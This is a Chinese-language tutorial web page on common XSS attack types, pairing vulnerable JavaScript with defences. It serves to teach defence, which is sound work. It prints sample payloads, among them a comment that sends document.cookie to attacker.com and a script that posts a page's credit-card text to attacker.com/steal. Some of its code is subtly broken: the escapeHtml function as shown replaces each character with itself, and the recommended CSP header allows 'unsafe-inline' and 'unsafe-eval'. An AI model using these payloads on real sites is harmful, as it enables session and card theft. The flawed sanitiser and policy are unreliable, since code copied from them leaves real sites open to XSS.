您现在的位置是:网站首页 > 常见的 XSS 攻击示例文章详情
常见的 XSS 攻击示例
陈川
【
前端安全
】
64939人已围观
5079字
跨站脚本攻击(XSS)的基本原理
跨站脚本攻击(Cross-Site Scripting,简称XSS)是一种常见的Web安全漏洞,攻击者通过在网页中注入恶意脚本,当其他用户浏览该网页时,脚本会在用户浏览器中执行。XSS攻击通常分为三种类型:反射型XSS、存储型XSS和DOM型XSS。
反射型XSS攻击示例
反射型XSS是最常见的XSS攻击形式,恶意脚本作为请求的一部分发送到服务器,然后服务器将脚本"反射"回响应中。这种攻击通常需要诱骗用户点击特制的链接。
// 假设有一个搜索页面,搜索结果显示在页面上
// 不安全的代码示例
const searchTerm = new URLSearchParams(window.location.search).get('q');
document.getElementById('results').innerHTML = `您搜索的是: ${searchTerm}`;
// 攻击者可以构造如下URL
// http://example.com/search?q=<script>alert('XSS')</script>
防御方法是对用户输入进行转义:
function escapeHtml(unsafe) {
return unsafe
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
const safeSearchTerm = escapeHtml(searchTerm);
document.getElementById('results').textContent = `您搜索的是: ${safeSearchTerm}`;
存储型XSS攻击示例
存储型XSS比反射型更危险,因为恶意脚本被永久存储在服务器上(如数据库),每次用户访问受影响页面时都会执行。
// 假设有一个评论系统
// 不安全的代码示例
app.post('/comment', (req, res) => {
const { comment } = req.body;
// 直接将用户评论存入数据库
db.saveComment(comment);
res.redirect('/comments');
});
// 显示评论时不转义
app.get('/comments', (req, res) => {
const comments = db.getComments();
res.send(`
<h1>评论列表</h1>
${comments.map(c => `<div>${c.content}</div>`).join('')}
`);
});
// 攻击者可以提交如下评论
// <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
防御方法是服务器端和客户端双重验证和转义:
// 服务器端转义
function sanitize(input) {
// 使用专业的库如DOMPurify
return DOMPurify.sanitize(input);
}
// 客户端显示时也进行转义
app.get('/comments', (req, res) => {
const comments = db.getComments();
res.send(`
<h1>评论列表</h1>
${comments.map(c => `<div>${escapeHtml(c.content)}</div>`).join('')}
`);
});
DOM型XSS攻击示例
DOM型XSS是完全在客户端发生的攻击,恶意数据被不安全的DOM操作使用。
// 不安全的代码示例
const hash = window.location.hash.substring(1);
document.getElementById('welcome').innerHTML = `欢迎, ${hash}`;
// 攻击者可以构造如下URL
// http://example.com#<img src=x onerror=alert('XSS')>
防御方法是避免使用innerHTML,改用textContent:
document.getElementById('welcome').textContent = `欢迎, ${hash}`;
或者使用安全的DOM API:
const div = document.getElementById('welcome');
div.appendChild(document.createTextNode('欢迎, '));
div.appendChild(document.createTextNode(hash));
基于属性的XSS攻击
当用户输入被直接用作HTML属性值时,也可能导致XSS。
// 不安全的代码示例
const userInput = 'javascript:alert("XSS")';
document.getElementById('link').href = userInput;
// 或者
const color = '" onmouseover="alert(\'XSS\')" x="';
document.getElementById('box').style = `color: ${color}`;
防御方法是验证和清理属性值:
// 对于URL属性
function sanitizeUrl(url) {
if (!url.startsWith('http://') && !url.startsWith('https://')) {
return 'about:blank';
}
return url;
}
// 对于CSS属性
function sanitizeCss(css) {
return css.replace(/["']/g, '');
}
基于事件的XSS攻击
当用户输入被直接用作HTML事件处理程序时,可能导致XSS。
// 不安全的代码示例
const userInput = 'alert("XSS")';
document.getElementById('button').onclick = new Function(userInput);
// 或者通过HTML属性
element.setAttribute('onclick', userInput);
防御方法是避免使用动态生成的事件处理程序:
// 安全的做法是预定义事件处理函数
document.getElementById('button').addEventListener('click', () => {
// 预定义的逻辑
});
使用现代前端框架时的XSS防护
现代前端框架如React、Vue和Angular提供了内置的XSS防护,但仍需注意某些特殊情况。
React示例:
// 安全的做法
function SafeComponent({ userInput }) {
return <div>{userInput}</div>; // React会自动转义
}
// 危险的做法
function DangerousComponent({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />;
}
Vue示例:
<!-- 安全的做法 -->
<template>
<div>{{ userInput }}</div>
</template>
<!-- 危险的做法 -->
<template>
<div v-html="userInput"></div>
</template>
其他XSS攻击向量
除了上述常见形式,XSS攻击还可能通过以下途径发生:
- SVG文件:SVG可以包含JavaScript代码
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')"></svg>
- CSS表达式(旧版IE支持)
div {
width: expression(alert('XSS'));
}
- JSON注入:当JSON被直接解析为JavaScript时
const data = '{"malicious": alert("XSS")}';
eval('(' + data + ')'); // 危险
JSON.parse(data); // 安全
内容安全策略(CSP)防护
CSP是一种有效的XSS防护机制,通过HTTP头指定哪些资源可以被加载和执行。
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;
示例配置:
default-src 'self'
:默认只允许同源资源script-src 'self'
:只允许同源脚本'unsafe-inline'
:允许内联脚本(不推荐)'unsafe-eval'
:允许eval等动态代码执行(不推荐)
实际案例分析
某电商网站存在存储型XSS漏洞:
// 商品评价系统漏洞
// 攻击者提交的评价内容
/*
<script>
const form = document.createElement('form');
form.method = 'POST';
form.action = 'https://attacker.com/steal';
const input = document.createElement('input');
input.type = 'hidden';
input.name = 'creditcard';
input.value = document.querySelector('.credit-card').innerText;
form.appendChild(input);
document.body.appendChild(form);
form.submit();
</script>
*/
该脚本会窃取页面上的信用卡信息并发送到攻击者的服务器。防御措施应包括:
- 输入验证:限制评价内容为纯文本
- 输出编码:显示评价时进行HTML转义
- CSP策略:限制脚本只能从可信源加载
- 敏感信息保护:信用卡信息不应直接显示在页面上
上一篇: XSS 攻击的危害与影响
下一篇: 防御 XSS 的最佳实践